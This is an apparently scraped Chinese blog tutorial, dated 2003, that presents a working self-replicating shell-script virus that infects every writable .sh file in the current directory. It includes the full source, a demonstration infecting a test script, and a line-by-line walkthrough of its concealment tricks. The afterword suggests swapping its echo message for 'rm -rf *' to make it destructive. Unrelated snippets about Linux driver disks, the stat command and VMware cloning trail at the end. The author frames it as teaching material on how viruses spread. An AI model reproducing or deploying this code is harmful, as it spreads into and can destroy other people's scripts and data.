說起病毒總有點神秘的味道,想起以前用彙編編寫第乙個dos病毒時是那麼的痛苦
從開始有設想到完成花了3個多月,而且寫的也是亂七八糟,最近突發奇想不就是感染其他檔案,傳播自己嗎,用shell寫乙個病毒且不是非常簡單,於是順手寫了如下這麼乙個小指令碼,功能就是感染其他shell程式。
這個程式在現實意義不大,但對於形象的理解病毒傳播機制還是很很有幫助,可以算教學意義大於實際意義吧。
1. 前言
說起病毒總有點神秘的味道,想起以前用彙編編寫第乙個dos病毒時是那麼的痛苦從開始有設想到完成花了3個多月,而且寫的也是亂七八糟,最近突發奇想不就是感染其他檔案,傳播自己嗎,用shell寫乙個病毒且不是非常簡單,於是順手寫了如下這麼乙個小指令碼,功能就是感染其他shell程式。
這個程式在現實意義不大,但對於形象的理解病毒傳播機制還是很很有幫助,可以算教學意義大於實際意義吧。
2. 程式**
#!/bin/sh
#檔名: virus_demo.sh
#用途 : shell病毒演示。
#說明 : 病毒將感染當前目錄下的所有.sh結尾的檔案,但不會重複感染。
#編寫 : [email protected]
#日期 : 2003-5-13
#b:<+!a%c&t:>
vfile=$_ ; vtmp=/tmp/.vtmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vfile ]; then continue; fi
if grep '<+!a%c&t:>' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vtmp ;if [ $? -ne 0 ];then continue; fi
vno=`awk '$0~/(^ *#)|(^ *$)/&&v==nr-1end' $vtmp`
sed -n "1,$p" $vtmp >$f
(sed -n '/^#b:<+!a%c&t:>/,/^#e:<+!a%c&t:>/p' $vfile ;echo ) >>$f
vno=`expr $vno + 1`
sed -n "$,$p" $vtmp >>$f
rm -f $vtmp
done >/dev/null 2>&1
unset vtmp ;unset vfile ;unset vno
echo "hi, here is a demo shell virus in your script !"
#e:<+!a%c&t:>
#eof
看shell是多麼得強大,這麼短短得程式就能感染其他程式檔案。
3. 演示
測試一下:
先在當前目錄放兩個檔案,乙個病毒檔案,乙個用來作被感染測試用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
來看看我們這個"肉雞"指令碼,很簡單:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# just a demo for virus test
# author : foo
# date : 3000-1-1
ls -l
#eof
好了開始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
hi, here is a demo shell virus in your script !
來看看感染後的結果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# just a demo for virus test
# author : foo
# date : 3000-1-1
#b:<+!a%c&t:>
vfile=$_ ; vtmp=/tmp/.vtmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vfile ]; then continue; fi
if grep '<+!a%c&t:>' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vtmp ;if [ $? -ne 0 ];then continue; fi
vno=`awk '$0~/(^ *#)|(^ *$)/&&v==nr-1end' $vtmp`
sed -n "1,$p" $vtmp >$f
(sed -n '/^#b:<+!a%c&t:>/,/^#e:<+!a%c&t:>/p' $vfile ;echo ) >>$f
vno=`expr $vno + 1`
sed -n "$,$p" $vtmp >>$f
rm -f $vtmp
done >/dev/null 2>&1
unset vtmp ;unset vfile ;unset vno
echo "hi, here is a demo shell virus in your script !"
#e:<+!a%c&t:>
ls -l
#eof
看,病毒體:
#b:<+!a%c&t:>
. . . .
#e:<+!a%c&t:>
被拷貝過來了,這樣病毒就被傳播了。
值得注意的是病毒體插入的位置是在源test.sh的有效程式行的開始處!這主要考慮到一般shell程式大家都喜歡在程式開始處作注釋說明,你好歹不能把別人的注釋資訊給放到後面去,那也太明顯了吧。
來執行看看我們新的病毒體看看:
[cloud@ /export/home/cloud/vir]> ./test.sh
hi, here is a demo shell virus in your script ! <-- 看,病毒體內部的列印資訊。
-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
4. 簡單講解
我們來一步步分析一下這個病毒:
#b:<+!a%c&t:>
病毒體開始標記,用於程式複製自己定位用
vfile=$_ ; vtmp=/tmp/.vtmp.$$
定義兩個變數,乙個臨時檔案,乙個記錄當前程式名稱$_,這也就要求我們必須把這行作為程式有效行的第一行,如果放後頭我們就無法得到當前程式名稱,後面就找不到從**去找病毒體來拷貝了。
for f in ./*.sh; do
開始迴圈,找到當前目錄下的所有.sh結尾的程式。
if [ ! -w $f -a ! -r $vfile ]; then continue; fi
目標是否有寫許可權,病毒原始檔是否有讀許可權。
if grep '<+!a%c&t:>' $f ; then continue; fi
目標是否已經中毒很深無藥可救了,如果是這樣還給他再來一次也太不仁義了吧?
if sed -n '1p' $f | grep 'csh'; then continue; fi
如果目標shell是以csh的那語法上差異太大了,放棄吧。
cp -f $f $vtmp ;if [ $? -ne 0 ];then continue; fi
好了準備感染,先把目標拷貝乙個備份,拷貝失敗了怎麼辦?當然只好放棄了。
vno=`awk '$0~/(^ *#)|(^ *$)/&&v==nr-1end' $vtmp`
這是幹嘛?好像挺複雜,不過學shell病毒不了解awk和正規表示式好像有點說不過去吧,這個就是找到程式開始的注釋和空白行有多少,好方便我們確定病毒體插入點。
sed -n "1,$p" $vtmp >$f
乙個sed命令把目標檔案的開始注釋部分從備份檔案中copy回來。
(sed -n '/^#b:<+!a%c&t:>/,/^#e:<+!a%c&t:>/p' $vfile ;echo ) >>$f
再來乙個sed完成搬運病毒體的工作。
vno=`expr $vno + 1`
sed -n "$,$p" $vtmp >>$f
最後乙個sed把目標檔案的其他部分搬回來,sed真強大呀!!
rm -f $vtmp
清理一下臨時檔案
done >/dev/null 2>&1
迴圈結束
unset vtmp ;unset vfile ;unset vno
清理一下犯罪現場。
echo "hi, here is a demo shell virus in your script !"
都感染了好歹也要顯示點東西以告訴別人這是個被病毒感染過的程式吧。
#e:<+!a%c&t:>
病毒體結束標記,用於程式複製自己定位用
5. 後記
從中我們可以看到指令碼病毒非常簡單,不需要很多知識就能寫乙個,而且病毒破壞力也是不可小視比如我們的程式裡把echo資訊改為rm -rf * ;同時反方面也展示了shell的強大之處,試想傳統的程式光是處理pe檔案結構和elf結構就得花多少功夫。
上面得程式已經在linux和solaris上測試通過,windows上得使用者在cygwin上應該也行。
Linux作業系統下DriverDisk的製作方法
如果常常在ibm hp等這些伺服器上安裝linux,多多少少都會遇到需要手工載入scsi raid卡驅動情況,而我們遇到這種情況時,都會向硬體廠 商或者linux廠商需求驅動,因為幾乎所有的硬體廠商只提供redhat suse上的驅動,假如安裝的紅旗linux遇到這種情況,那麼就只能向紅旗 尋求驅動...
linux作業系統下的 stat命令
有些時候,我們需要在linux中使用stat命令來檢視檔案的詳細資訊。我們先來看下stat的情況 如圖所示,會出現3個型別的時間,分別是access,modify,change。下面我們就對這3個時間進行詳細解釋下 access time 表示我們最後一次訪問 僅僅是訪問,沒有改動 檔案的時間 mo...
VMware下Linux作業系統的轉殖
vmware 中安裝centos 7,已經安裝成功,但是,在實際工作的過程中間單台centos 作業系統可以完全不夠,有時候在分布式集群的時需要同時需要多台伺服器,所以,在pc 機上面同乙個vmware 搭建多個centos 7 系統是很有必要要的,所以,此次課程將詳細講解vmware clone ...